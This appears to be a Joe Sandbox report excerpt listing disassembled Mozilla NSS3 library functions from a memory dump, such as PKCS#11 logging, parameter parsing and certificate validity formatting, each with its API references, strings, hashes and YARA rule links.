Opcode ID: cb9095f18a8b0bbc33208a1004397a298c37fa31d3e2019c7dfe92a7de7ffae1
Instruction ID: c094cd2936e94a87813ad0b07a9e933d8a1ba31693fc8c422700a140831e03f1
Opcode Fuzzy Hash: cb9095f18a8b0bbc33208a1004397a298c37fa31d3e2019c7dfe92a7de7ffae1
Instruction Fuzzy Hash: 69518E71E042115BE7149634AE59FBB362A9FC2318F144538E9059BFC1FF29AA0E82D7

Function 6C688E50 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C688E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C688EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C688EB3

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C688EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C688EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C688F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C688F29
PR_LogPrint.NSS3(?,00000000), ref: 6C688F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C688F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C688F80
PR_LogPrint.NSS3(?,00000000), ref: 6C688F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C688FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C688FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C689047

Strings

pulWrappedKeyLen = 0x%p, xrefs: 6C688FC8
hKey = 0x%x, xrefs: 6C688F5B, 6C688F6B
pWrappedKey = 0x%p, xrefs: 6C688FAD
pMechanism = 0x%p, xrefs: 6C688EE0
nvl, xrefs: 6C688FEC, 6C689023
hSession = 0x%x, xrefs: 6C688E8E, 6C688E9E
C_WrapKey, xrefs: 6C688E71
(CK_INVALID_HANDLE), xrefs: 6C688EAC, 6C688F1F, 6C688F79
hWrappingKey = 0x%x, xrefs: 6C688F01, 6C688F11
*pulWrappedKeyLen = 0x%x, xrefs: 6C689042

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey$nvl
API String ID: 1003633598-2875670105
Opcode ID: 80f55a6c1805cfe34f5b07e2ba1b35a2ba1ab0e68a08df7087f453c5857e3d73
Instruction ID: c05e45639354678bcf95fd6f34a7c161239e47ce9165580414ea61dd78f9234c
Opcode Fuzzy Hash: 80f55a6c1805cfe34f5b07e2ba1b35a2ba1ab0e68a08df7087f453c5857e3d73
Instruction Fuzzy Hash: 1551A531603108ABDB109F55DE4CF9A7B76AB4634CF084035F9096BA62DB309958CBBE

Function 6C6B4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000,00000000,00000001), ref: 6C6B5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6B5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6B505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C6B5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C6B50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2), ref: 6C6B50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6B50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C6B50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5153
free.MOZGLUE(?), ref: 6C6B516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C6B517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6B5195

Strings

nss=, xrefs: 6C6B5083
parameters=, xrefs: 6C6B506B
name=, xrefs: 6C6B5057
config=, xrefs: 6C6B509B
library=, xrefs: 6C6B5043

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: d182cf338c2f259ee0e053820ff7815b2bb40630cabf2d485297a59e27ff4416
Instruction ID: c088cfdb71abb43f6902931d337e96fa8c2bb2ee761274e8767b72fed6dc0859
Opcode Fuzzy Hash: d182cf338c2f259ee0e053820ff7815b2bb40630cabf2d485297a59e27ff4416
Instruction Fuzzy Hash: 5551A5B1A011056BEB00DE64DD45AEE37A8AF16248F140030FC19F7741EB35EA26C7BA

Function 6C6B4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4C5B
PR_smprintf.NSS3(6C78AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6B4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6B4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6B4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C6B4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C6B4DA2
free.MOZGLUE(?), ref: 6C6B4DB9
free.MOZGLUE(00000000), ref: 6C6B4DCF

Strings

rootFlags, xrefs: 6C6B4D47
%s,%s, xrefs: 6C6B4C4B
any, xrefs: 6C6B4C96
0x%08lx=[%s %s], xrefs: 6C6B4D80
every, xrefs: 6C6B4CA1
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C6B4D9D
ootT, xrefs: 6C6B4D1A
timeout, xrefs: 6C6B4C91
slotFlags, xrefs: 6C6B4D34
rust, xrefs: 6C6B4D22

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: a7840368bc2e853b698ee9a1c64bd70f70e3d3bb33f12e178615af1b8f1463fc
Instruction ID: cc24fd8302f3a4a17570e65b1fd10fcec1edd80f96c817ce2fbd3c31eac68d10
Opcode Fuzzy Hash: a7840368bc2e853b698ee9a1c64bd70f70e3d3bb33f12e178615af1b8f1463fc
Instruction Fuzzy Hash: B5418DB29011416BDB115F689C446BE3BA5AF82758F144134FC1A2BB01E771E934C7EB

Function 6C696CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C696910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C696943
Part of subcall function 6C696910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C696957
Part of subcall function 6C696910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C696972
Part of subcall function 6C696910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C696983
Part of subcall function 6C696910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C6969AA
Part of subcall function 6C696910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C6969BE
Part of subcall function 6C696910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C6969D2
Part of subcall function 6C696910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C6969DF
Part of subcall function 6C696910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C696A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C696D8C
free.MOZGLUE(00000000), ref: 6C696DC5
free.MOZGLUE(?), ref: 6C696DD6
free.MOZGLUE(?), ref: 6C696DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C696E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C696E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C696E72
free.MOZGLUE(?), ref: 6C696EA7
free.MOZGLUE(?), ref: 6C696EC4
free.MOZGLUE(?), ref: 6C696ED5
free.MOZGLUE(00000000), ref: 6C696EE3
free.MOZGLUE(?), ref: 6C696EF4
free.MOZGLUE(?), ref: 6C696F08
free.MOZGLUE(00000000), ref: 6C696F35
free.MOZGLUE(?), ref: 6C696F44
free.MOZGLUE(?), ref: 6C696F5B
free.MOZGLUE(00000000), ref: 6C696F65

Part of subcall function 6C696C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C69781D,00000000,6C68BE2C,?,6C696B1D,?,?,?,?,00000000,00000000,6C69781D), ref: 6C696C40
Part of subcall function 6C696C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C69781D,?,6C68BE2C,?), ref: 6C696C58
Part of subcall function 6C696C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C69781D), ref: 6C696C6F
Part of subcall function 6C696C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C696C84
Part of subcall function 6C696C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C696C96
Part of subcall function 6C696C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C696CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C696F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C696FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C696FF4

Strings

+`jl, xrefs: 6C696D0D

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`jl
API String ID: 1304971872-3317076573
Opcode ID: 526dde810fb2fae6740dbe8898befa10cdb0071ce74483e1ea99b1ea275f99c5
Instruction ID: 51ebf55746ee75ca23376b80f47fe103eabd56014f05637eb2b51fc32ab9cc19
Opcode Fuzzy Hash: 526dde810fb2fae6740dbe8898befa10cdb0071ce74483e1ea99b1ea275f99c5
Instruction Fuzzy Hash: 8AB15BB0E0530A9FDF40DBA5DC44BAEBBB9AF05359F140025E815E7A10E731E915CBE9

Function 6C641FE0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6C642007
calloc.MOZGLUE(00000001,00000084), ref: 6C642077
calloc.MOZGLUE(00000001,0000002C), ref: 6C6420DF
TlsSetValue.KERNEL32(00000000), ref: 6C642188
PR_NewCondVar.NSS3 ref: 6C6421B7
calloc.MOZGLUE(00000001,00000084), ref: 6C64221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6422C2
GetLastError.KERNEL32 ref: 6C6422CD
free.MOZGLUE(00000000), ref: 6C6422DD

Part of subcall function 6C640F00: PR_GetPageSize.NSS3(6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F1B
Part of subcall function 6C640F00: PR_NewLogModule.NSS3(clock,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F25

Strings

X {l, xrefs: 6C64218E
T {l, xrefs: 6C642361

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID: T {l$X {l
API String ID: 3559583721-736249941
Opcode ID: 41b3a9deb05fc07b8489216908b2b84db833c04dc0e854acc139f9ca38674b0e
Instruction ID: 9a0fdf5ce97a30bab5ef0d2dcc866cade5d3449c233c6a0c7f4f9c54f752b9a3
Opcode Fuzzy Hash: 41b3a9deb05fc07b8489216908b2b84db833c04dc0e854acc139f9ca38674b0e
Instruction Fuzzy Hash: 6E916BB16017019FDB20AF78DC4DBAB7BF4BB06749F10853AE55AD6A40DB70A104CB99

Function 6C65DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C65DDDE

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C65DDF5

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C65DE34
PR_Now.NSS3 ref: 6C65DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6C65DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C65DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C65DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6C65DEF0
PR_smprintf.NSS3(6C78AAF9,(NULL) (Validity Unknown)), ref: 6C65DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C65DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C65DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C65DF33
free.MOZGLUE(00000000), ref: 6C65DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C65DF4B
free.MOZGLUE(00000000), ref: 6C65DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65DF8E

Strings

%s%s, xrefs: 6C65DEEB
{???}, xrefs: 6C65DE8B
(NULL) (Validity Unknown), xrefs: 6C65DEFA

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: fc9b92e1736405dfbd18c148283de10c322bac94ff750c22a8a6a7143ec4252b
Instruction ID: a911e82a0a673f726b3593f5b6b917041a2cd874ef988a083c42badf50be4b04
Opcode Fuzzy Hash: fc9b92e1736405dfbd18c148283de10c322bac94ff750c22a8a6a7143ec4252b
Instruction Fuzzy Hash: 3C51B2B1E002156BDB00DF659E45AAF7AB8EF85358F644028EC09E7B40E731D925CBF9

Function 6C68AF20 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6C68AF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C68AF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C68AF83

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C68AF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6C68AFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6C68AFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C68AFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C68B00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C68B028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6C68B041

Strings

pData = 0x%p, xrefs: 6C68AFEF
nvl, xrefs: 6C68B059, 6C68B093
C_SignMessage, xrefs: 6C68AF41
hSession = 0x%x, xrefs: 6C68AF5E, 6C68AF6E
pParameter = 0x%p, xrefs: 6C68AFB9
(CK_INVALID_HANDLE), xrefs: 6C68AF7C
ulParameterLen = 0x%p, xrefs: 6C68AFD4
ulDataLen = %d, xrefs: 6C68B00A
pulSignatureLen = 0x%p, xrefs: 6C68B03C
pSignature = 0x%p, xrefs: 6C68B023

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage$nvl
API String ID: 1003633598-1382018852
Opcode ID: 99e5c1c3b53c8470ea355d46e1cb68d4f3ec0de84946c4a6efb09cae0f9b7e4d
Instruction ID: bf35ad67a149e4df1a710817b9f3a493dcd075271e7e57e7f7bdb1c540d77e1c
Opcode Fuzzy Hash: 99e5c1c3b53c8470ea355d46e1cb68d4f3ec0de84946c4a6efb09cae0f9b7e4d
Instruction Fuzzy Hash: 7141A575602148AFDB109F55DE4CE8A7BB2AB4630DF084034F9086BA51DB309958CBBE

Function 6C692D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C692DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C692E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C692E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C692E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C,?,-00000001,00000000,?), ref: 6C692E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C,?,-00000001,00000000), ref: 6C692E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C692EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C692EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C692EF8
PR_Unlock.NSS3(?), ref: 6C692F62
TlsGetValue.KERNEL32 ref: 6C692F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C692F9E
PR_Unlock.NSS3(?), ref: 6C692FCA
TlsGetValue.KERNEL32 ref: 6C69301A
EnterCriticalSection.KERNEL32(?), ref: 6C69302E
PR_Unlock.NSS3(?), ref: 6C693066
PR_SetError.NSS3(00000000,00000000), ref: 6C693085
PR_Unlock.NSS3(?), ref: 6C6930EC
TlsGetValue.KERNEL32 ref: 6C69310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C693124
PR_Unlock.NSS3(?), ref: 6C69314C

Part of subcall function 6C679180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C6A379E,?,6C679568,00000000,?,6C6A379E,?,00000001,?), ref: 6C67918D
Part of subcall function 6C679180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C6A379E,?,6C679568,00000000,?,6C6A379E,?,00000001,?), ref: 6C6791A0

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

PR_SetError.NSS3(00000000,00000000), ref: 6C69316D

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
